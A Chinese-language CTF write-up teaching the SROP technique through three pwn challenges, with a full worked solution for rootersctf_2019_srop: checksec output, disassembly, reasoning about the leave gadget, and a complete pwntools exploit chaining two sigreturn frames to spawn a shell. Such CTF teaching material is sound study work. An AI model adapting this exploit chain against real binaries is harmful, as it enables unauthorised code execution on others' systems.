通过三道题目学习SROP技术

0x00 前言

很久之前就听大佬说过SROP了,前几天也通过SROP技术做出来一道题目,不过是看的别人WP之后才会的。

今天具体学习了一下SROP技术,先贴几个参考链接:

CTF-WIKI

FreeBuf

本文通过三道题目来练习这项技术,题目按照顺序来的层层递进

0x01 Ciscn_2019_s_3

这道题目也就是我刚刚说过的通过别人的WP第一次了解SROP并用这技术做出来的题目。

这道题目的特点在于

  1. 题目已经给了mov rax,59(对应execve系统调用)mov rax,15(对应sigreturn系统调用)
  2. SROP能够利用到的gadgets是syscall; ret

因为之前我已经专门更过这道题的博客了,所以这里直接放链接

传送门

0x02 smallest pwn

这是CTF-WIKI上面给的一道例题。

这道题目的特点是

  1. 程序非常小,由汇编语言写成
  2. 相比上一道题目,没有给出mov rax,59或者mov rax,15
  3. 需要通过程序的read系统调用的读入字节数来设置rax的值。
  4. SROP能够利用的gadgets是syscall;ret

这道题目有一个博主已经讲解的非常详细了,而且最后这位博主画的流程图很直观,我再写也只能是模仿,很难再超越了。这里直接给出链接了

简书

0x03 rootersctf_2019_srop

这是BUUCTF上的一道题目

这道题的特点是

  1. 程序非常小,由汇编语言写成
  2. 依然没有mov rax,59或者mov rax,15
  3. 存在pop rax
  4. 能够利用的gadgets是pop rax;syscall;leave;retsyscall;leave;ret(可以注意到相比前两道题目,syscall和ret之间多了一个leave

0x001 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序只开了NX保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:0000000000401000 ; =============== S U B R O U T I N E =======================================
.text:0000000000401000
.text:0000000000401000 ; Attributes: bp-based frame
.text:0000000000401000
.text:0000000000401000 sub_401000 proc near ; CODE XREF: start↓p
.text:0000000000401000 ; DATA XREF: LOAD:0000000000400088↑o
.text:0000000000401000
.text:0000000000401000 buf = byte ptr -80h
.text:0000000000401000
.text:0000000000401000 push rbp
.text:0000000000401001 mov rbp, rsp
.text:0000000000401004 sub rsp, 40h
.text:0000000000401008 mov eax, 1
.text:000000000040100D mov edi, 1 ; fd
.text:0000000000401012 lea rsi, buf ; "Hey, can i get some feedback for the CT"...
.text:000000000040101A mov edx, 2Ah ; count
.text:000000000040101F syscall ; LINUX - sys_write
.text:0000000000401021 mov edi, 0 ; fd
.text:0000000000401026 lea rsi, [rsp+40h+buf] ; buf
.text:000000000040102B mov edx, 400h ; count
.text:0000000000401030 push 0
.text:0000000000401032 pop rax
.text:0000000000401033 syscall ; LINUX - sys_read
.text:0000000000401035 leave
.text:0000000000401036 retn
.text:0000000000401036 sub_401000 endp
.text:0000000000401036
.text:0000000000401037
.text:0000000000401037 ; =============== S U B R O U T I N E =======================================
.text:0000000000401037
.text:0000000000401037 ; Attributes: noreturn
.text:0000000000401037
.text:0000000000401037 public start
.text:0000000000401037 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401037 call sub_401000
.text:000000000040103C mov eax, 3Ch
.text:0000000000401041 mov edi, 0 ; error_code
.text:0000000000401046 syscall ; LINUX - sys_exit
.text:0000000000401046 start endp
.text:0000000000401046
.text:0000000000401046 _text ends
.text:0000000000401046

程序只有两个函数,一个是调用了write和read的函数,另一个是调用exit的函数。

很明显可以看到read处存在栈溢出,可以用SROP来做。

0x002 思路

由于程序没有/bin/sh,我们需要找到一个位置写入/bin/sh,这个位置需要可读可写

可以先通过程序自带的一次read进行栈溢出来执行一次sigreturn系统调用,使其能够向指定位置写入/bin/sh,然后再次进行sigreturn系统调用执行execve('/bin/sh',0,0)

如何连续进行两次sigreturn系统调用?这里就需要构造SROP链了。例题2也是构造的SROP链

0x003 Let’s do it!

我们需要先找到一个位置用来写入/bin/sh,这个位置需要可读可写

可以看到程序的DATA区权限符合我们的要求。这里选择addr = 0x402100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pop_rax_syscall_leave_ret = 0x401032
'''
.text:0000000000401032 pop rax
.text:0000000000401033 syscall
.text:0000000000401035 leave
.text:0000000000401036 retn
'''

syscall_leave_ret = 0x401033
'''
.text:0000000000401033 syscall
.text:0000000000401035 leave
.text:0000000000401036 retn
'''

addr = 0x402100

然后通过SROP执行一次read系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#read(0,addr,300)
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = addr
frame.rdx = 300
frame.rsp = addr#注意这里!~
frame.rbp = addr#
frame.rip = syscall_leave_ret

payload = 'a'*0x80 + 'b'*8
payload += p64(pop_rax_syscall_leave_ret)
payload += p64(15) + str(frame)


c.send(payload)

然后向addr写入/bin/sh并再次进行sigreturn系统调用,执行execve('/bin/sh',0,0)

1
2
3
4
5
6
7
8
9
10
11
12
13
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret

payload = '/bin/sh\x00' + p64(pop_rax_syscall_leave_ret)
payload += p64(15) + str(frame)

c.send(payload)

c.interactive()

注意第一次构造frame的时候,我们设置了frame.rsp = addr,frame.rbp = addr,这是因为由于我们的gadgets是syscall;leave;ret,中间有个leaveleave就相当于mov rsp,rbp;pop rbp,为了构造SROP链,我们需要让rsp指向我们下一个payload的地址(这个可以参考第二个例题),但如果我们的rbp为0的话,leave以后rsp也为0,这显然不符合我们的要求,所以这个需要让rbp=addr

但由于leave还有一个pop rbp的功能,这里构造就较为巧妙,我们addr的位置前8字节正好被写为/bin/sh\x00,这样当我们ret的时候,正好能将p64(pop_rax_syscall_leave_ret)传给rip来执行,然后进行下一次sigreturn系统调用。

0x004 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')#Important!!!!!!

c = process('./srop')
#c = remote('node3.buuoj.cn',25453)
pop_rax_syscall_leave_ret = 0x401032
'''
.text:0000000000401032 pop rax
.text:0000000000401033 syscall
.text:0000000000401035 leave
.text:0000000000401036 retn
'''

syscall_leave_ret = 0x401033
'''
.text:0000000000401033 syscall
.text:0000000000401035 leave
.text:0000000000401036 retn
'''

addr = 0x402100

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = addr
frame.rdx = 300
frame.rsp = addr
frame.rbp = addr
frame.rip = syscall_leave_ret

payload = 'a'*0x80 + 'b'*8
payload += p64(pop_rax_syscall_leave_ret)
payload += p64(15) + str(frame)


c.send(payload)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret

payload = '/bin/sh\x00' + p64(pop_rax_syscall_leave_ret)
payload += p64(15) + str(frame)

c.send(payload)

c.interactive()

context(arch = 'amd64',os = 'linux')#Important!!!!!!这个一定要有,不然frame构造出来可能就不太对了。